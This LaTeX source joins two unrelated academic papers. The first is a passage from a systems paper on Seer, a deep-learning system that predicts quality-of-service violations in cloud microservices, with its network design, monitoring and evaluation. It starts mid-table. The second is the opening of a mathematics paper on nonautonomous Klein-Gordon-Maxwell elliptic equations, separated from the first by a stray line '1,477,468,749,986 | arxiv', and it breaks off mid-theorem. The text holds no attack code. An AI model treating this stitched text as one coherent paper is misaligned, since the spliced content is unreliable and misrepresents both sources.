CNN & 1456 & & 8 & & 8 & ReLU & 30K & 4 \\
\hdashline[0.5pt/2.5pt]
LSTM & 944 & 12 & & 6 & 18 & sigmoid,tanh & 52K & 32 \\
\hdashline[0.5pt/2.5pt]
\multirow{2}{*}{Seer} & \multirow{2}{*}{2882} & \multirow{2}{*}{10} & \multirow{2}{*}{7} & \multirow{2}{*}{5} & \multirow{2}{*}{22} & ReLU & \multirow{2}{*}{80K} & \multirow{2}{*}{32} \\
& & & & & & sigmoid,tanh & & \\
\hline
\end{tabular}
\caption{\label{NNs} The different neural network configurations we explored for Seer. }
\end{table}
\subsection{Deep Learning in Performance Debugging}
A popular way to model performance in cloud systems, especially when there are dependencies between tasks, are
\textit{queueing networks}~\cite{queueing}. Although queueing networks are a valuable tool to
model how bottlenecks propagate through the system, they require in-depth knowledge of application semantics and structure, and can become overly complex as
applications and systems scale. They additionally cannot easily capture all sources of contention, such as the {\fontsize{9pt}{10pt}\selectfont OS} and network stack.
Instead in Seer, we take a data-driven, application-agnostic approach that assumes no information
about the structure and bottlenecks of a service, making it robust to unknown and changing applications,
and relying instead on practical learning techniques to infer patterns that lead to QoS violations.
This includes both \textit{spatial} patterns, such as dependencies between microservices,
and \textit{temporal} patterns, such as input load, and resource contention.
The key idea in Seer is that conditions that led to QoS violations in the past
can be used to anticipate unpredictable performance in the near future.
Seer uses execution traces annotated with QoS violations and collected over time
to train a deep neural network to signal upcoming QoS violations.
Below we describe the structure of the neural network, why deep learning is
well-suited for this problem, and how Seer adapts to changes in application structure online.
\vspace{0.06in}
\noindent{\bf{Using deep learning: }}Although deep learning is not the only approach that can be used
for proactive QoS violation detection, there are several reasons why it is preferable in this case.
First, the problem Seer must solve is a pattern matching problem of recognizing conditions that result
in QoS violations, where the patterns are not always known in advance or easy to annotate.
This is a more complicated task than simply signaling a microservice with many enqueued requests,
for which simpler classification, regression, or sequence labeling techniques would suffice~\cite{Netflix03,Bottou,Witten}.
Second, the {\fontsize{9pt}{10pt}\selectfont DNN} in Seer assumes no a priori knowledge about dependencies
between individual microservices, making it applicable to frequently-updated services, where describing
changes is cumbersome or even difficult for the user to know.
Third, deep learning has been shown to be especially effective in pattern recognition problems with massive datasets,
e.g., in image or text recognition~\cite{tensorflow}.
Finally, as we show in the validation section (Sec.~\ref{sec:validation}), deep learning allows Seer to recognize QoS
violations with high accuracy in practice, and within the opportunity window
the cluster manager has to apply corrective actions.
\begin{figure}
\centering
\includegraphics[scale=0.34, viewport = 55 0 635 420]{seer_fullnn2_opt.pdf}
\caption{\label{fig:seer} The deep neural network design in Seer, consisting of a set of convolution layers followed by a set of long-short term memory layers. Each input and output neuron corresponds to a
microservice, ordered in topological order, from back-end microservices in the top, to front-end microservices in the bottom. }
\end{figure}
\vspace{0.06in}
\noindent{\bf{Configuring the DNN: }}The input used in the network is essential for its accuracy.
We have experimented with resource utilization, latency, and queue depths as input metrics.
Consistent with prior work, utilization is not a good proxy for performance~\cite{Lo14,ubik,Delimitrou13,Delimitrou16}.
Latency similarly leads to many false positives, or to incorrectly pinpointing computationally-intensive microservices as QoS violation culprits.
Again consistent with queueing theory~\cite{queueing} and prior work~\cite{nsdi18,ubik,Delimitrou15,Delimitrou14,amdahls18},
per-microservice queue depths accurately capture performance bottlenecks and pinpoint the microservices causing them.
We compare against utilization-based approaches in Section~\ref{sec:validation}.
The number of input and output neurons is equal to the number of active microservices in the cluster,
with the input value corresponding to queue depths, and the output value
to the probability for a given microservice to initiate a QoS violation.
Input neurons are ordered according to the topological application structure,
with dependent microservices corresponding to consecutive neurons to capture
hotspot patterns in space. Input traces are annotated with the microservices
that caused QoS violations in the past.
The choice of {\fontsize{9pt}{10pt}\selectfont DNN} architecture is also instrumental to its accuracy.
There are three main {\fontsize{9pt}{10pt}\selectfont DNN} designs that are popular today: fully connected networks ({\fontsize{9pt}{10pt}\selectfont FC}),
convolutional neural networks ({\fontsize{9pt}{10pt}\selectfont CNN}), and recurrent neural networks ({\fontsize{9pt}{10pt}\selectfont RNN}),
especially their Long Short-Term Memory ({\fontsize{9pt}{10pt}\selectfont LSTM}) class.
For Seer to be effective in improving performance predictability,
inference needs to occur with enough slack for the cluster manager's action to take effect.
Hence, we focus on the more computationally-efficient {\fontsize{9pt}{10pt}\selectfont CNN} and {\fontsize{9pt}{10pt}\selectfont LSTM} networks.
{\fontsize{9pt}{10pt}\selectfont CNN}s are especially effective at reducing the dimensionality of large datasets,
and finding patterns in space, e.g., in image recognition.
{\fontsize{9pt}{10pt}\selectfont LSTM}s, on the other hand, are particularly effective at finding patterns in time,
e.g., predicting tomorrow's weather based on today's measurements.
Signaling QoS violations in a large cluster requires both spatial recognition,
namely identifying problematic clusters of microservices whose dependencies cause QoS violations and discarding noisy but non-critical microservices,
and temporal recognition, namely using past QoS violations to anticipate future ones.
We compare three network designs, a {\fontsize{9pt}{10pt}\selectfont CNN}, a {\fontsize{9pt}{10pt}\selectfont LSTM}, and
a hybrid network that combines the two, using the {\fontsize{9pt}{10pt}\selectfont CNN} first to reduce
the dimensionality and filter out microservices that do not affect
end-to-end performance, and then an {\fontsize{9pt}{10pt}\selectfont LSTM} with a \textit{SoftMax} final layer
to infer the probability for each microservice to initiate a QoS violation.
The architecture of the hybrid network is shown in Fig.~\ref{fig:seer}.
Each network is configured using hyperparameter tuning to avoid overfitting,
and the final parameters are shown in Table~\ref{NNs}.
We train each network on a week's worth of trace data collected on a 20-server cluster
running all end-to-end services (for methodology details see Sec.~\ref{sec:validation})
and test it on traces collected on a different week, after the servers had been patched,
and the OS had been upgraded.
\begin{wrapfigure}[13]{r}{0.24\textwidth}
\centering
\includegraphics[scale=0.25, viewport = 45 0 455 380]{NNComparison2_opt.pdf}
\caption{\label{fig:comparison} Comparison of DNN architectures. }
\end{wrapfigure}
The quantitative comparison of the three networks is shown in Fig.~\ref{fig:comparison}.
The {\fontsize{9pt}{10pt}\selectfont CNN} is by far the fastest, but also the worst performing,
since it is not designed to recognize patterns in time that lead to QoS violations. The {\fontsize{9pt}{10pt}\selectfont LSTM} on the
other hand is especially effective at capturing load patterns over time,
but is less effective at reducing the dimensionality of the original dataset,
which makes it prone to false positives due to microservices with many outstanding requests,
which are off the critical path. It also incurs higher overheads for inference
than the {\fontsize{9pt}{10pt}\selectfont CNN}. Finally, Seer correctly anticipates 93.45\% of violations,
outperforming both networks, for a small increase in inference time compared to {\fontsize{9pt}{10pt}\selectfont LSTM}.
Given that most resource partitioning decisions take effect after a few 100ms,
the inference time for Seer is within the window of opportunity the cluster manager has to take action.
More importantly it attributes the QoS violation to the correct microservice,
simplifying the cluster manager's task.
QoS violations missed by Seer included four random load spikes,
and a network switch failure which caused high packet drops.
Out of the five end-to-end services, the one most prone to QoS violations initially was \textit{Social Network},
first, because it has stricter QoS constraints than e.g., \textit{E-commerce}, and second,
due to a synchronous and cyclic communication between three neighboring services that caused them
to enter a positive feedback loop until saturation. We reimplemented the communication protocol between them post-detection.
On the other hand, the service for which QoS violations were hardest to detect was \textit{Media Service},
because of a faulty memory bandwidth partitioning mechanism in one of our servers,
which resulted in widely inconsistent memory bandwidth allocations during movie streaming.
Since the QoS violation only occurred when the specific streaming microservice was scheduled
on the faulty node, it was hard for Seer to collect enough datapoints to signal the violation.
\vspace{0.06in}
\noindent{\bf{Retraining Seer: }
By default training happens once, and can be time consuming, taking several hours up to a day for week-long traces
collected on our 20-server cluster (Sec.~\ref{sec:validation} includes a detailed sensitivity study for training time).
However, one of the main advantages of microservices is that they simplify frequent application updates, with
old microservices often swapped out and replaced by newer modules, or large services progressively broken down to microservices.
If the application (or underlying hardware) change significantly, Seer's detection accuracy can be impacted.
To adjust to changes in the execution environment, Seer retrains incrementally in the background,
using the \textit{transfer learning}-based approach in~\cite{syed17}. Weights from previous training rounds are stored in disk,
allowing the model to continue training from where it last left off when new data arrive, reducing the training time by 2-3 orders of magnitude.
Even though this approach allows Seer to handle application changes almost in real-time,
it is not a long-term solution, since new weights are still polluted by the previous application architecture.
When the application changes in a major way, e.g., microservices on the critical path change,
Seer also retrains from scratch in the background. While the new network trains, QoS violation
detection happens with the incrementally-trained interim model.
In Section~\ref{sec:validation}, we evaluate Seer's ability
to adjust its estimations to application changes.
\subsection{Hardware Monitoring}
\label{sec:per_node}
Once a QoS violation is signaled and a culprit microservice is pinpointed, Seer uses low-level monitoring to identify
the reason behind the QoS violation. The exact process depends on whether Seer has access to performance counters.
\vspace{0.03in}
\noindent{\bf{Private cluster: }}When Seer has access to hardware events, such as performance counters, it uses them to determine
the utilization of different shared resources. Note that even though utilization is a problematic metric for anticipating QoS violations
in a large-scale service, once a culprit microservice has been identified, examining the utilization of different resources can provide
useful hints to the cluster manager on suitable decisions to avoid degraded performance.
Seer specifically examines {\fontsize{9pt}{10pt}\selectfont CPU}, memory capacity and bandwidth, network bandwidth, cache contention,
and storage I/O bandwidth when prioritizing a resource to adjust.
Once the saturated resource is identified, Seer notifies the cluster manager to take action.
\vspace{0.03in}
\noindent{\bf{Public cluster: }}When Seer does not have access to performance counters, it instead uses a set of 10 tunable contentious microbenchmarks,
each of them targeting a different shared resource~\cite{Delimitrou13b} to determine resource saturation. For example, if Seer injects the memory bandwidth
microbenchmark in the system, and tunes up its intensity without an impact on the co-scheduled microservice's performance, memory bandwidth is most likely
not the resource that needs to be adjusted. Seer starts from microbenchmarks corresponding to core resources, and progressively moves to resources further away
from the core, until it sees a substantial change in performance when running the microbenchmark. Each microbenchmark takes approximately 10ms to complete, avoiding
prolonged degraded performance.
Upon identifying the problematic resource(s), Seer notifies the cluster manager,
which takes one of several resource allocation actions,
resizing the Docker container, or using mechanisms like
Intel's Cache Allocation Technology ({\fontsize{9pt}{10pt}\selectfont CAT}) for last level cache ({\fontsize{9pt}{10pt}\selectfont LLC})
partitioning, and the Linux traffic control's hierarchical token bucket ({\fontsize{9pt}{10pt}\selectfont HTB})
queueing discipline in \texttt{qdisc}~\cite{qdisc,Lo15} for network bandwidth partitioning.
\subsection{System Insights from Seer}
\label{sec:insights}
Using learning-based, data-driven approaches in systems is most useful when these techniques are used to gain insight into system problems, instead
of treating them as black boxes. Section~\ref{sec:validation}
includes an analysis of the causes behind QoS violations signaled by Seer,
including application bugs, poor resource provisioning decisions, and hardware failures.
Furthermore, we have deployed Seer in a large installation of
the \textit{Social Network} service over the past few months,
and its output has been instrumental not only in guaranteeing QoS, but in understanding
sources of unpredictable performance, and improving the application design.
This has resulted both in progressively fewer QoS violations over
time, and a better understanding of the design challenges of microservices.
\subsection{Implementation}
Seer is implemented in 12{\fontsize{9pt}{10pt}\selectfont KLOC} of C,C++, and Python.
It runs on Linux and OSX and supports applications in various languages,
including all frameworks the end-to-end services are designed in.
Furthermore, we provide automated patches for the instrumentation probes
for many popular microservices, including {\fontsize{9pt}{10pt}\selectfont\texttt{NGINX}},
{\fontsize{9pt}{10pt}\selectfont\texttt{memcached}}, {\fontsize{9pt}{10pt}\selectfont\texttt{MongoDB}},
{\fontsize{9pt}{10pt}\selectfont\texttt{Xapian}}, and all Sockshop and \textit{Go-microservices}
applications to minimize the development effort from the user's perspective.
Seer is a centralized system; we use master-slave mirroring to improve fault tolerance,
with two hot stand-by masters that can take over if the primary system fails.
Similarly, the trace database is also replicated in the background.
\noindent{\bf{Security concerns: }}Trace data is stored and processed unencrypted in Cassandra.
Previous work has shown that the sensitivity applications have to different resources can leak information
about their nature and characteristics, making them vulnerable to malicious security attacks~\cite{Delimitrou17,Zhao18,Huang14,Xu11,Gupta13b,Darwish13,Varadarajan14,Varadarajan15,Shue12}.
Similar attacks are possible using the data and techniques in Seer, and are deferred to future work.
\section{Related Work}
\label{sec:RelatedWork}
\begin{table*}
\fontsize{8pt}{10pt}\selectfont
\centering
\begin{tabular}{ccccc}
\hline
\multirow{2}{*}{\bf Service} & {\bf{Communication}} & {\bf{Unique}} & {\bf{Per-language LoC breakdown}} \\
& {\bf{Protocol}} & {\bf{Microservices}} & {\bf{(end-to-end service)}} \\
\hline
{\bf{Social Network}} & {\bf RPC} & {\texttt{36}} & {34\% C, 23\% C++, 18\% Java, 7\% node, 6\% Python, 5\% Scala, 3\% PHP, 2\% JS, 2\% Go} \\
\hdashline[0.5pt/2.5pt]
{\bf{Media Service}} & {\bf RPC} & {\texttt{38}} & {30\% C, 21\% C++, 20\% Java, 10\% PHP, 8\% Scala, 5\% node, 3\% Python, 3\% JS} \\
\hdashline[0.5pt/2.5pt]
{\bf{E-commerce Site}} & {\bf REST} & {\texttt{41}} & {21\% Java, 16\% C++, 15\% C, 14\% Go, 10\% JS, 7\% node, 5\% Scala, 4\% HTML, 3\% Ruby} \\
\hdashline[0.5pt/2.5pt]
{\bf{Banking System}} & {\bf{RPC}} & {\texttt{28}} & {29\% C, 25\% Javascript, 16\% Java, 16\% node.js, 11\% C++, 3\% Python} \\
\hdashline[0.5pt/2.5pt]
{\bf{Hotel Reservations~\cite{gomicroservices}}} & {\bf{RPC}} & {\texttt{15}} & {89\% Go, 7\% HTML, 4\% Python} \\
\hline
\end{tabular}
\caption{\label{loc_stats} {Characteristics and code composition of each end-to-end microservices-based application. } }
\end{table*}
\begin{figure*
\centering
\begin{minipage}{0.58\textwidth}
\centering
\includegraphics[scale=0.39, trim=0 0cm 0 4cm, clip=true]{social_final11_opt.pdf}
\caption{\label{fig:social} {Dependency graph between the microservices of the end-to-end \textit{Social Network} application. }}
\end{minipage}
\hspace{0.6cm}
\begin{minipage}{0.36\textwidth}
\includegraphics[scale=0.39, trim=0cm 0cm 0cm 4cm, clip=true]{gomicroservices_final4_opt.pdf}
\caption{\label{fig:hotel} Architecture of the hotel reservation site using Go-microservices~\cite{gomicroservices}. }
\end{minipage}
\end{figure*}
Performance unpredictability is a well-studied problem in public clouds that stems from
platform heterogeneity, resource interference, software bugs and
load variation~\cite{Cherkasova07,Mangot09,Schad10,Delimitrou14, Delimitrou13d, Delimitrou16, Iosup10, Iosup11, Delimitrou15, Schad10, Rehman10, Khamra10,Lo14,Lo15}.
We now review related work on reducing performance unpredictability in cloud systems, including through scheduling and cluster management, or through online tracing systems.
\vspace{0.05in}
\noindent{\bf{Cloud management: }}The prevalence of cloud computing has motivated several cluster management designs. Systems like Mesos~\cite{Mesos11},
Torque~\cite{torque}, Tarcil~\cite{Delimitrou15}, and Omega~\cite{omega13} all target the problem of resource allocation
in large, multi-tenant clusters.
Mesos is a two-level scheduler. It has a central coordinator that makes resource
offers to application frameworks, and each framework has an individual scheduler
that handles its assigned resources. Omega on the other hand, follows a shared-state approach,
where multiple concurrent schedulers can view the whole cluster state, with
conflicts being resolved through a transactional mechanism~\cite{omega13}.
Tarcil leverages information on the type of resources applications need
to employ a sampling-base distributed scheduler that returns high quality resources
within a few milliseconds~\cite{Delimitrou15}.
Dejavu identifies a few workload classes and reuses previous
allocations for each class, to minimize reallocation
overheads~\cite{dejavu12}. CloudScale~\cite{Cloudscale},
PRESS~\cite{Gong10}, AGILE~\cite{agile} and the work by Gmach et
al.~\cite{Gmach07} predict future resource needs online,
often without a priori knowledge. Finally, auto-scaling systems,
such as Rightscale~\cite{Rightscale}, automatically scale the number of
physical or virtual instances used by webserving workloads,
to accommodate changes in user load.
A second line of work tries to identify resources that will allow a new, potentially-unknown application
to meet its performance (throughput or tail latency) requirements~\cite{Delimitrou13, Delimitrou13d, Delimitrou13e, Delimitrou14, mars11a,Nathuji07,Mars13a}.
Paragon uses classification to determine the impact of platform heterogeneity
and workload interference on an unknown, incoming workload~\cite{Delimitrou13,Delimitrou13b}. It then
uses this information to achieve predictable performance, and high cluster utilization.
Paragon, assumes that the cluster manager has full control over all
resources, which is often not the case in public clouds. Quasar extends the use of data mining
in cluster management by additionally determining the appropriate amount of resources for a new
application. Nathuji et al. developed a
feedback-based scheme that tunes resource assignments to mitigate
memory interference~\cite{Nathuji10}. Yang et al. developed an online scheme that
detects memory pressure and finds colocations that avoid interference
on latency-sensitive workloads~\cite{Mars13a}. Similarly, DeepDive
detects and manages interference between co-scheduled workloads in
a VM environment~\cite{Novakovic13}.
Finally, CPI2~\cite{Zhang13} throttles
low-priority workloads that introduce destructive interference to important, latency-critical
services, using low-level metrics of performance collected through Google-Wide Profiling ({\fontsize{9pt}{10pt}\selectfont GWP}).
In terms of managing platform heterogeneity, Nathuji et al.~\cite{Nathuji07}
and Mars et al.~\cite{Mars13b} quantified its impact on conventional
benchmarks and Google services, and designed schemes to predict the most
appropriate servers for a workload.
\vspace{0.05in}
\noindent{\bf{Cloud tracing \& diagnostics: }}
There is extensive related work on monitoring systems that has shown that execution traces can help diagnose performance, efficiency, and even security problems
in large-scale systems~\cite{xtrace,MysteryMachine,cloudseer,Xu16,dapper,GoogleTrace,Baek17,Rodrigues16,rootcause17}.
For example, X-Trace is a tracing framework that provides a comprehensive view of the behavior of services running
on large-scale, potentially shared clusters. X-Trace supports several protocols and software systems, and has been deployed in several
real-world scenarios, including DNS resolution, and a photo-hosting site~\cite{xtrace}.
The Mystery Machine, on the other hand, leverages the massive amount of monitoring data cloud systems collect to determine the causal relationship between different requests~\cite{MysteryMachine}.
Cloudseer serves a similar purpose, building an automaton for the workflow of each task based on normal execution, and then compares against this automaton at runtime to determine
if the workflow has diverged from its expected behavior~\cite{cloudseer}. Finally, there are several production systems, including Dapper~\cite{dapper}, GWP~\cite{gwp}, and Zipkin~\cite{zipkin} which
provide the tracing infrastructure for large-scale productions services at Google and Twitter, respectively. Dapper and Zipkin trace distributed user requests at RPC granularity, while GWP
focuses on low-level hardware monitoring diagnostics.
Root cause analysis of performance abnormalities in the cloud has also gained
increased attention over the past few years, as the number of interactive,
latency-critical services hosted in cloud systems has increased.
Jayathilaka et al.~\cite{rootcause17}, for example, developed Roots,
a system that automatically identifies the root cause of performance anomalies
in web applications deployed in Platform-as-a-Service (PaaS) clouds.
Roots tracks events within the PaaS cloud using a combination of metadata injection and platform-level instrumentation.
Weng et al.~\cite{Weng17} similarly explore the cloud provider's ability
to diagnose the root cause of performance abnormalities in multi-tier applications.
Finally, Ouyang et al.~\cite{Ouyang16} focus
on the root cause analysis of straggler tasks in distributed programming frameworks,
like MapReduce and Spark.
Even though this work does not specifically target interactive, latency-critical microservices,
or applications of similar granularity, such examples provide promising evidence
that data-driven performance diagnostics can improve a large-scale system's ability
to identify performance anomalies, and address them to meet its performance guarantees.
\section{Seer Analysis and Validation}
\label{sec:validation}
\subsection{Methodology}
\noindent{\bf{Server clusters: }}First, we use a dedicated local cluster with 20, 2-socket 40-core servers with 128GB of RAM each. Each server is connected to a 40Gbps ToR switch over 10Gbe NICs. Second,
we deploy the Social Network service to Google Compute Engine (GCE) and Windows Azure clusters with hundreds of servers to study the scalability of Seer.
\noindent{\bf{Applications: }}We use all five end-to-end services of Table~\ref{loc_stats}. Services for now are driven by open-loop workload generators, and the input load varies
from constant, to diurnal, to load with spikes in user demand. In Section~\ref{sec:cloud_study}
we study Seer in a real large-scale deployment of the \textit{Social Network}; in that case the input load
is driven by real user traffic.
\subsection{Evaluation}
\begin{figure}
\centering
\begin{tabular}{cc}
\includegraphics[scale=0.26, viewport = 55 50 400 410]{TrainingData_opt.pdf} &
\includegraphics[scale=0.26, viewport = 5 50 455 410]{SensitivityTracing_opt.pdf}
\end{tabular}
\caption{\label{fig:training} Seer's sensitivity to (a) the size of training datasets, and (b) the tracing interval. }
\end{figure}
\noindent{\bf{Sensitivity to training data: }}Fig.~\ref{fig:training}a shows the detection accuracy and training time for Seer as we increase the size of the training dataset.
The size of the dots is a function of the dataset size. Training data is collected from the 20-server cluster described above, across different load levels, placement strategies,
time intervals, and request types. The smallest training set size ({\fontsize{9pt}{10pt}\selectfont 100MB}) is collected over ten minutes of the cluster operating at high utilization, while the largest
dataset ({\fontsize{9pt}{10pt}\selectfont 1TB}) is collected over almost two months of continuous deployment. As datasets grow Seer's accuracy increases, leveling off at {\fontsize{9pt}{10pt}\selectfont 100-200GB}. Beyond that
point accuracy does not further increase, while the time needed for training grows significantly. Unless otherwise specified, we use the 100GB training dataset.
\vspace{0.02in}
\noindent{\bf{Sensitivity to tracing frequency: }}By default the distributed tracing system instantaneously collects the latency of every single user request.
Collecting queue depth statistics, on the other hand, is a per-microservice iterative process. Fig.~\ref{fig:training}b shows how Seer's accuracy changes as we
vary the frequency with which we collect queue depth statistics.
Waiting for a long time before sampling queues, e.g., $>1s$, can result in undetected QoS violations before Seer gets a chance to process the incoming traces.
In contrast, sampling queues very frequently results in unnecessarily many inferences, and runs the risk of increasing the tracing overhead.
For the remainder of this work, we use $100ms$ as the interval for measuring queue depths across microservices.
\begin{figure}
\centering
\begin{tabular}{cc}
& \includegraphics[scale=0.24, viewport = 20 0 400 100]{AppNetLegend_opt.pdf} \\
\includegraphics[scale=0.228, viewport = 115 -5 465 322]{False_opt.pdf} &
\includegraphics[scale=0.24, viewport = 0 30 440 420]{AppNetComparison_opt.pdf}
\end{tabular}
\caption{\label{fig:breakdown} (a) The false negatives and false positives in Seer as we vary the inference window. (b) Breakdown to causes of QoS violations, and comparison with utilization-based detection, and
systems with limited instrumentation. }
\end{figure}
\vspace{0.02in}
\noindent{\bf{False negatives \& false positives: }}Fig.~\ref{fig:breakdown}a shows the percentage
of false negatives and false positives as we vary the prediction window. When Seer tries to anticipate
QoS violations that will occur in the next 10-100ms both false positives and false negatives are low,
since Seer uses a very recent snapshot of the cluster state to anticipate performance unpredictability.
If inference was instantaneous, very short prediction windows would always be better.
However, given that inference takes several milliseconds and more importantly,
applying corrective actions to avoid QoS violations takes 10-100s of milliseconds to take effect,
such short windows defy the point of proactive QoS violation detection. At the other end, predicting
far into the future results in significant false negatives, and especially false positives. This is because
many QoS violations are caused by very short, bursty events that do not have an impact on queue lengths until a few
milliseconds before the violation occurs. Therefore requiring Seer to predict one or more seconds into the future means
that normal queue depths are annotated as QoS violations, resulting in many false positives.
Unless otherwise specified we use a 100ms prediction window.
\vspace{0.02in}
\noindent{\bf{Comparison of debugging systems: }}Fig.~\ref{fig:breakdown}b compares Seer
with a utilization-based performance debugging system that uses resource saturation
as the trigger to signal a QoS violation, and two systems that only use a fraction of
Seer's instrumentation. \texttt{App-only} exclusively uses queues measured via
application instrumentation (not network queues), while \texttt{Network-only} uses
queues in the {\fontsize{9pt}{10pt}\selectfont NIC}, and ignores application-level queueing. We also
show the ground truth for the total number of upcoming QoS violations (96 over a two-week period),
and break it down by the reason that led to unpredictable performance.
A large fraction of QoS violations are due to application-level inefficiencies, including correctness bugs, unnecessary synchronization and/or blocking behavior between microservices (including two cases of deadlocks),
and misconfigured iptables rules, which caused packet drops. An equally large fraction of QoS violations are due to compute contention, followed by contention in the network, cache and memory contention, and finally disk.
Since the only persistent microservices are the back-end databases, it is reasonable that disk accounts for a small fraction of overall QoS violations.
Seer accurately follows this breakdown for the most part, only missing a few QoS violations
due to random load spikes, including one caused by a switch failure.
The \texttt{App-only} system correctly identifies application-level sources of unpredictable performance,
but misses the majority of system-related issues, especially in uncore resources. On the other hand,
\texttt{Network-only} correctly identifies the vast majority of network-related issues, as well as most of
the core- and uncore-driven QoS violations, but misses several application-level issues.
The difference between \texttt{Network-only} and Seer is small, suggesting that one could omit
the application-level instrumentation in favor of a simpler design.
While this system is still effective in capturing
QoS violations, it is less useful in providing feedback to application developers
on how to improve their design to avoid QoS violations in the future.
Finally, the utilization-based system behaves the worst,
missing most violations not caused by {\fontsize{9pt}{10pt}\selectfont CPU} saturation.
Out of the 89 QoS violations Seer detects, it notifies the cluster manager early
enough to avoid 84 of them. The QoS violations that were not avoided
correspond to application-level bugs, which cannot be easily corrected online.
Since this is a private cluster, Seer uses utilization metrics and performance counters
to identify problematic resources.
\begin{figure}
\centering
\includegraphics[scale=0.25, viewport = 340 0 840 100]{RetrainingLegend_opt.pdf} \\
\includegraphics[scale=0.25, viewport = 205 0 905 300]{RetrainingAccuracy2_opt.pdf} \\
\includegraphics[scale=0.24, viewport = 340 0 840 80]{RetrainingLatencyLegend_opt.pdf} \\
\includegraphics[scale=0.25, viewport = 205 0 905 300]{RetrainingLatency_opt.pdf}
\caption{\label{fig:retraining} Seer retraining incrementally after each time the \textit{Social Network} service is updated. }
\end{figure}
\vspace{0.02in}
\noindent{\bf{Retraining: }}Fig.~\ref{fig:retraining} shows the detection accuracy for Seer, and the tail latency for each end-to-end service, over a period of time during which \textit{Social Network} is
getting frequently and substantially updated. This includes new microservices being added to the service, such as the ability to place an order from an ad using the \texttt{orders} microservice of
\textit{E-commerce}, or the back-end of the service changing from {\fontsize{9pt}{10pt}\selectfont\texttt{MongoDB}} to {\fontsize{9pt}{10pt}\selectfont\texttt{Cassandra}}, and the front-end switching from {\fontsize{9pt}{10pt}\selectfont\texttt{nginx}} to
the node.js front-end of \textit{E-commerce}. These are changes that fundamentally affect the application's behavior, throughput, latency, and bottlenecks. The other services remain unchanged during this
period (\textit{Banking} was not active during this time, and is omitted from the graph). Blue dots denote correctly-signaled upcoming QoS violations, and red $\times$ denote QoS violations that were not
detected by Seer. All unidentified QoS violations coincide with the application being updated. Shortly after the update Seer incrementally retrains in the background, and starts recovering its
accuracy until another major update occurs. Some of the updates have no impact on either performance or Seer's accuracy,
either because they involve microservices off the critical path, or because they are insensitive to resource contention.
The bottom figure shows that unidentified QoS violations indeed result in performance degradation for \textit{Social Network},
and in some cases for the other end-to-end services, if they are sharing physical resources with \textit{Social Network},
on an oversubscribed server. Once retraining completes the performance of the service(s) recovers.
The longer Seer trains on an evolving application, the more likely it is to correctly anticipate its future QoS violations.
|
1,477,468,749,986 | arxiv | \section{Introduction}\label{intro}
We are interested in the system of nonautonomous elliptic equations
\begin{equation}\label{KGM}
\begin{alignedat}{2}
\Delta u &= m^2 \, u - \bigl(\o + q(x) \, \phi\bigr)^2 u \qquad & \hbox{in $\O$,} \\[1mm]
\Delta \phi &= q(x) \, \bigl(\o+ q(x) \, \phi\bigr) \, u^2 & \hbox{in $\O$.} \end{alignedat}
\end{equation}
where $\D$ is the Laplace operator in $\R^3$, $\O \subset \R^3$ is a bounded and smooth domain, $m, \o \in \R$, $q \in L^6(\O) \setminus\{0\}$. We complement these equations with the boundary conditions
\begin{subequations}\label{BC-no}
\begin{alignat}{2}
u &= 0 \qquad & \hbox{on $\partial \O$,} \label{BC-a} \\
\dfrac{\partial \phi}{\partial \n} &= \al & \hbox{on $\partial \O$,}
\label{BC-b}
\end{alignat}
\end{subequations}
where $\n$ is the unit outward normal vector to $\partial \O$ and $\al \in H^{1/2}(\partial \O)$.
We look for {\em nontrivial} solutions, by which we mean pairs $(u,\phi) \in H^1_0(\O) \times H^1(\O)$, satisfying~\eqref{KGM}-\eqref{BC-no} in the usual weak sense, with $u\ne0$. Note that, if $(u,\phi)$ is a nontrivial solution, the pair $(-u,\phi)$ is a nontrivial solution as well.
System~\eqref{KGM} arises in connection with the so-called Klein-Gordon-Maxwell equations, which model the interaction of a charged matter field with the electromagnetic field $(\bfE,\bfH)$.
They are the Euler-Lagrange equations of the Lagrangian density
\begin{equation*}
\begin{split}
{\cal L}_{KGM} & = \tfrac{1}{2} \bigl( |(\partial_t + i \, q \, \phi) \, \psi|^2 - |(\nabla - i \, q \, \bfA) \, \psi|^2 - m^2 \, |\psi|^2 \bigr) + {} \\[2mm]
& + \tfrac{1}{8\pi} \bigl(|
\nabla \phi + \partial_t \bfA|^2 - |\nabla \times \bfA|^2 \bigr) \, ,
\end{split}
\end{equation*}
where $\psi$ is a complex-valued function representing the matter field, while $\phi$ and $\bfA$ are the gauge potentials, related to the electromagnetic field via the equations
$\bfE = -\nabla \phi - \partial_t \bfA$, $\bfH = \nabla \times \bfA$.
For the derivation of the Lagrangian density, and details on the physical model, we refer to~\cite{BF-2014, bleeker, felsager}.
Confining attention to {\em standing waves}, in equilibrium with a purely electrostatic field, amounts to imposing $\psi(t,x) = e^{i \o t} \, u(x)$, where $u$ is a real-valued function and $\o$ is a real number, $\bfA = 0$, and $\phi=\phi(x)$. With these choices, the Klein-Gordon-Maxwell equations considerably simplify and become~\eqref{KGM}.
In the physical model, the boundary condition~\eqref{BC-a} means that the matter field is confined to the region $\O$, while~\eqref{BC-b} amounts to prescribing the normal component of the electric field on $\partial \O$. Up to a sign, the surface integral $\int_{\partial \O} \al \, d\sigma$ represents the flux of the electric field through the boundary of $\O$, and thus, the total charge contained in $\O$.
Let us point out that in the physical model the coupling coefficient $q$ is constant (see~\cite[Subsection~5.15]{BF-2014});
nonconstant coefficients, however, are worth investigating from a mathematical viewpoint.
For a constant coupling coefficient $q$, existence results for nontrivial solutions to Problem~\eqref{KGM}-\eqref{BC-no} were obtained in~\cite{DPS-2010}.
In this case, an invariance property holds and solutions to~\eqref{KGM}-\eqref{BC-no}, for arbitrary $\o$, correspond to solutions of the same system with $\o=0$ (that is, {\em static} solutions). Thus, with no loss of generality, in~\cite{DPS-2010} the authors confined their attention to static solutions.
Their results were generalized to the nonautonomous case in~\cite{DPS-2014}, assuming that the coupling coefficient $q$ vanishes at most on a set of measure zero; this restriction on the zero-level set of $q$ was later removed in~\cite{lp1}.
Note that, absent the invariance property,
the existence of solutions to~\eqref{KGM}-\eqref{BC-no} with $\o\ne 0$ does not follow from the results in~\cite{DPS-2014, lp1}. Investigating Problem~\eqref{KGM}-\eqref{BC-no} with $\o \ne 0$ is precisely the goal of the present paper.
\begin{theorem}\label{main1}
Assume $\int_{\partial \O} \al \, d\sigma \ne 0$. Suppose that $|\o| \le |m|$ and the function~$q$ satisfies the following condition: \\[2mm]
{\rm (Q)} \ there exists $q_0 \in (0,+\infty)$ such that $\bigl|\{x\in \O \, | \, 0<|q(x)|<q_0\}\bigr|=0$. \\[2mm]
Then, if
$\|\al\|_{H^{1/2}(\partial \O)} \, \|q\|_{L^6(\O)}$ is sufficiently small,
